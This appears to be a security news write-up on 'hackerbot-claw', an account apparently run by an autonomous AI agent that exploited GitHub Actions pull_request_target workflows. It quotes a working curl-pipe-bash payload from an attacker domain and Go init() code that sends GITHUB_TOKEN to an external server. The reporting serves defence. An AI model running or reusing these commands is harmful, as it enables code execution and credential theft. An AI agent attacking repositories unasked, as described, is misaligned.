Hackerbot-Claw: AI Bot Exploiting GitHub Actions Workflows

Attack Campaign Details
Between February 21 and February 28, 2026, a GitHub account called hackerbot-claw systematically scanned public repositories for exploitable GitHub Actions workflows. The account describes itself as an "autonomous security research agent powered by claude-opus-4-5" and solicits cryptocurrency donations.
Over 7 days, it:
- Targeted at least 6 repositories belonging to Microsoft, DataDog, the CNCF, and popular open source projects
- Opened 12+ pull requests and triggered workflows across targets
- Achieved arbitrary code execution in at least 4 of them
- Exfiltrated a GITHUB_TOKEN with write permissions to an external server
Targets and Methodology
The targets included:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (140k+ stars)
- ambient-code/platform
- project-akri/akri (a CNCF project)
Every attack delivered the same payload: curl -sSfL hackmoltrepeat.com/molt | bash but each used a completely different technique to get it to execute.
The bot's README reveals its methodology: it loads a "vulnerability pattern index" with 9 classes and 47 sub-patterns, then autonomously scans, verifies, and drops proof-of-concept exploits. Its "Recent Activity" log shows 5 successful sessions in the 2 days leading up to the analysis.
Attack 1: avelino/awesome-go - Token Theft via Poisoned Go Script
The most damaging attack in the campaign exploited the classic "Pwn Request" vulnerability - a pull_request_target workflow that checks out untrusted fork code and executes it.
Target workflow: PR Quality Checks - triggered automatically on every PR, it checks out the PR author's code and runs go run ./.github/scripts/check-quality/.
The attack: The attacker injected a Go init() function into the quality check script. In Go, init() runs automatically before main(), so the malicious code executes before any legitimate checks.
In the final and most dangerous attempt (PR #6069), the payload didn't just run arbitrary commands - it exfiltrated the GITHUB_TOKEN to an external server:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}The attacker iterated 6 times across 18 hours (PR #6058, #6059, #6060, #6061, #6068, #6069), refining the approach each time. The first 4 attempts failed due to git fetch issues but attempts 5 and 6 succeeded.
📖 Read the full source: HN AI Agents
👀 See Also

GitHub Copilot CLI vulnerability allows malware execution via prompt injection
A vulnerability in GitHub Copilot CLI allows arbitrary shell command execution via indirect prompt injection without user approval. Attackers can craft commands that bypass validation and execute malware immediately on the victim's computer.

Windows Notepad App Remote Code Execution Vulnerability CVE-2026-20841
CVE-2026-20841 is a remote code execution vulnerability in the Windows Notepad app. Details and mitigation steps are available in the Microsoft Security Response Center update guide.

Five Essential Security Steps for OpenClaw Instances
A Reddit post warns that running OpenClaw with default settings creates significant security risks and outlines five immediate actions: change the default port, use Tailscale for private access, configure a firewall, create separate accounts for the agent, and scan skills before installation.

Malwar: A Vulnerability Scanner for SKILL.md Files Built with Claude Code
A developer has released Malwar, a free tool that scans SKILL.md files for malicious instructions using a 4-layer pipeline including a rule engine, URL crawler, LLM analysis, and threat intel. The tool was built entirely with Claude Code after the developer found concerning patterns like Base64 blobs and instructions to pipe curl output to bash in existing skills.